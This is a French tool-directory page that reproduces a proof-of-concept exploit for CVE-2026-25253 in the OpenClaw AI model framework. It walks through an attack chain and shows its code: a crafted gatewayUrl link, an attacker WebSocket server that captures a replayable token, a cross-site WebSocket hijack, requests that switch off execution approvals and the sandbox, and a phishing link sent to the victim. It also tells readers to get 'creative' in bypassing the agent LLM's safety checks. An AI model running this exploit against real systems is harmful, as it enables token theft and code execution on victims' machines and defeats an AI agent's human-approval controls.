Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-25253 — Preuve de concept pour CVE-2026-25253, démontrant une exécution de code à distance en un clic dans OpenClaw via le vol de jetons d'authentification et le détournement de WebSocket intersite. | Kitploit
Outils/GitHubGitHub/kajzingerakos/cve-2026-25253
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebAuthentificationRed Teaming
GitHubkajzingerakos/cve-2026-25253

CVE-2026-25253

Preuve de concept pour CVE-2026-25253, démontrant une exécution de code à distance en un clic dans OpenClaw via le vol de jetons d'authentification et le détournement de WebSocket intersite.

Voir le dépôt
1il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-25253 : RCE en un clic dans OpenClaw via le vol de jeton d'authentification

Logiciel concerné : OpenClaw (clawbot) < v2026.1.29
Identifiant CVE : CVE-2026-25253
Score CVSS : 8,8 (Élevé)
Impact : Un attaquant distant non authentifié peut voler un jeton d'authentification et obtenir une exécution de code à distance sur la machine de la victime

AVERTISSEMENT LÉGAL : Ce code et cette analyse sont fournis uniquement à des fins de recherche en sécurité autorisée et à des fins éducatives. L'utilisation de cet exploit contre des systèmes sans autorisation écrite explicite est illégale et contraire à l'éthique. L'auteur décline toute responsabilité en cas d'utilisation abusive.


Contexte technique

OpenClaw, anciennement connu sous le nom de Clawdbot et appelé Moltbot dans les premières versions, est un framework d'assistant IA qui s'exécute localement sur macOS, Windows ou Linux. Il prend en charge les modèles cloud tels qu'Anthropic et OpenAI, ainsi que les modèles locaux.

L'interface de contrôle est une application monopage, servie à /chat. Elle communique avec le serveur passerelle local via WebSocket à ws://127.0.0.1:18789/ (ou wss://host:18789/ pour TLS).

Caractéristiques de sécurité clés des versions concernées :

  • Les jetons d'authentification et les mots de passe sont stockés dans localStorage
  • L'identité de l'appareil est établie via des paires de clés Ed25519 (noble-ed25519)
  • Le protocole WebSocket utilise des messages de type JSON-RPC (type: "req", "res", "event")
  • À la connexion, l'interface de contrôle envoie les informations d'authentification et l'identité de l'appareil dans la première trame connect

Cause racine : applySettingsFromUrl()

La vulnérabilité se trouve dans applySettingsFromUrl() de l'interface de contrôle.

Lorsque l'interface de contrôle est chargée, cette fonction lit le paramètre de requête ?gatewayUrl= de l'URL et le stocke comme point de terminaison de passerelle actif — sans aucune validation pour vérifier s'il pointe vers un hôte de confiance.

Un attaquant peut créer un lien tel que :

root@kitploit:~
http://<cible>/chat?gatewayUrl=ws://attaquant.com

Lorsque la victime clique sur ce lien alors qu'elle est authentifiée dans OpenClaw, la séquence suivante se produit automatiquement :

  1. applySettingsFromUrl() stocke ws://attaquant.com comme nouvelle URL de passerelle
  2. L'interface de contrôle ouvre une connexion WebSocket vers le serveur de l'attaquant
  3. L'interface de contrôle envoie sa trame connect — y compris le jeton d'authentification, l'ID de l'appareil et la clé publique Ed25519 — à l'attaquant
  4. L'attaquant capture le jeton et le rejoue contre la passerelle légitime à ws://127.0.0.1:18789
  5. L'attaquant dispose désormais d'une session d'opérateur authentifiée sur la machine de la victime

Exploitation

Étape 1 — Vol de jeton via l'astuce de la fenêtre contextuelle

Dans cette preuve de concept, l'attaquant héberge une page (meeting.html) qui ouvre l'interface de contrôle de la victime dans une fenêtre contextuelle, injectée avec le paramètre malveillant ?gatewayUrl= :

root@kitploit:~
const attackerGatewayUrl = `ws://<attaquant>:8080`;
const targetUrl = `http://127.0.0.1:18789?gatewayUrl=${encodeURIComponent(attackerGatewayUrl)}`;
window.open(targetUrl, '_blank');

Le serveur de l'attaquant exploite le mécanisme de repli à deux jetons d'OpenClaw : la première tentative de connect utilise le jeton d'appareil (lié à Ed25519, non rejouable). En le rejetant, le serveur force l'interface de contrôle à réessayer avec le jeton de paramètres — un jeton porteur à longue durée de vie qui est rejouable :

root@kitploit:~
// Rejeter la tentative n°1 → force l'interface de contrôle à réessayer avec le jeton de paramètres
if (connectAttempts === 1) {
  ws.send({ type: 'res', ok: false, error: { code: 'AUTH_FAILED' } });
  return;
}
// Tentative n°2 → jeton de paramètres → CAPTURÉ
capturedToken = token;

Étape 2 — Détournement WebSocket intersite

Avec le jeton de paramètres volé, meeting.html ouvre sa propre connexion WebSocket directe vers la passerelle réelle (ws://127.0.0.1:18789). Cela est possible car la passerelle dans les versions < v2026.1.29 ne valide pas l'en-tête Origin — toute page chargée dans le navigateur de la victime peut s'y connecter.

Étape 3 — Désactivation des contrôles de sécurité

root@kitploit:~
// Désactiver toutes les invites d'approbation d'exécution
await sendRequest('exec.approvals.set', {
  file: {
    defaults: { ask: 'off', autoAllowSkills: true },
    agents: { '*': { ask: 'off' } },
  }
});

// Sortir du bac à sable du conteneur, rediriger l'exécution vers la machine hôte
await sendRequest('config.patch', {
  raw: JSON.stringify({
    tools: { exec: { host: 'gateway', ask: 'off' } },
    agents: { defaults: { sandbox: { mode: 'off' } } },
  })
});

Étape 4 — Exécution de code à distance

Le contenu du champ message est traité par le LLM configuré dans l'agent. Cela signifie que si le LLM juge le contenu dangereux, il n'exécutera pas la commande. Vous devez faire preuve de créativité pour contourner les mesures de sécurité du LLM.

root@kitploit:~
await sendRequest('agent', {
  message: 'Exécutez cette commande shell : <payload>',
  agentId: 'main',
  sessionKey: 'agent:main:main',
  deliver: false,
});

Flux d'attaque complet

root@kitploit:~
sequenceDiagram
    autonumber
    actor Attacker
    participant Browser as Victim Browser<br/>(meeting.html)
    participant CtrlUI as OpenClaw Control UI<br/>(popup @ 127.0.0.1:18789/chat)
    participant AtkWS  as Attacker WS Server<br/>(:8080)
    participant GW     as Real OpenClaw Gateway<br/>(127.0.0.1:18789)
    participant LLM    as Cloud LLM<br/>(OpenAI / Anthropic)

    Attacker->>Browser: Phishing link → opens meeting.html<br/>(disguised as a Teams invite)

    Note over Browser: Phase 1 — Token Theft

    Browser->>CtrlUI: Opens popup with ?gatewayUrl=ws://attacker:8080
    Note over CtrlUI: applySettingsFromUrl() stores<br/>attacker WS as active gateway

    CtrlUI->>AtkWS: connect { auth.token: DEVICE_TOKEN }
    AtkWS-->>CtrlUI: ✗ AUTH_FAILED (reject — forces retry)

    CtrlUI->>AtkWS: connect { auth.token: SETTINGS_TOKEN }
    AtkWS-->>CtrlUI: ✓ hello-ok (fake response)
    AtkWS->>Browser: token_captured { token: SETTINGS_TOKEN }

    Note over Browser: Phase 2 — Gateway Hijack (CSWSH)

    Browser->>GW: WebSocket connect (no Origin validation)<br/>auth { token: SETTINGS_TOKEN }
    GW-->>Browser: ✓ Authenticated as operator

    Note over Browser: Phase 3 — Security Bypass

    Browser->>GW: exec.approvals.set { ask: "off" }
    GW-->>Browser: ✓ Approval prompts disabled

    Browser->>GW: config.patch { exec.host: "gateway",<br/>sandbox.mode: "off" }
    GW-->>Browser: ✓ Sandbox disabled, exec on host

    Note over Browser: Phase 4 — Remote Code Execution

    Browser->>GW: agent { message: "Execute shell command: COMMAND" }
    GW->>LLM: Forward prompt (security already stripped)
    LLM-->>GW: Tool call: exec("COMMAND")
    GW->>GW: Runs command on HOST filesystem
    GW-->>Browser: ✓ Command executed

Exécution de la preuve de concept

Configuration

root@kitploit:~
npm install   # installe la dépendance 'ws'

Configuration de meeting.html

root@kitploit:~
const GATEWAY_URL      = 'ws://127.0.0.1:18789';  // passerelle locale de la victime
const ATTACKER_WS_PORT = 8080;                     // doit correspondre à attacker-server.js
const COMMAND = 'touch /tmp/success';

Exécution

root@kitploit:~
node attacker-server.js

Envoyez à la victime :

root@kitploit:~
http://<IP_ATTAQUANT>:3000/meeting.html

Références

https://github.com/openclaw/openclaw/security/advisories/GHSA-g8p2-7wf7-98mq

https://www.sonicwall.com/blog/openclaw-auth-token-theft-leading-to-rce-cve-2026-25253

https://hackers-arise.com/cve-2026-25253-how-malicious-links-can-steal-authentication-tokens-and-compromise-openclaw-ai-systems/

Télécharger l’outil